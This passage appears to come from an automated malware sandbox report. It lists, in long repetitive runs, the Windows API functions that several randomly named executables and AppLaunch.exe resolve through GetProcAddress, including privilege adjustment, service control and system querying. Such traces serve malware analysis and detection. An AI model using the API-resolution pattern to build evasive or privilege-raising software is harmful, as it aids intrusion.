called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004444) "EL8Vj91.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00002900) "EL8Vj91.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00002900) "Wg1zV34.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00005896) "Wg1zV34.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005896) "kH1Br77.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00007688) "kH1Br77.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00007688) "1Of31Ad0.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005504) "1Of31Ad0.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00005504) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter StartService (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter StartServiceA (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandleW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW 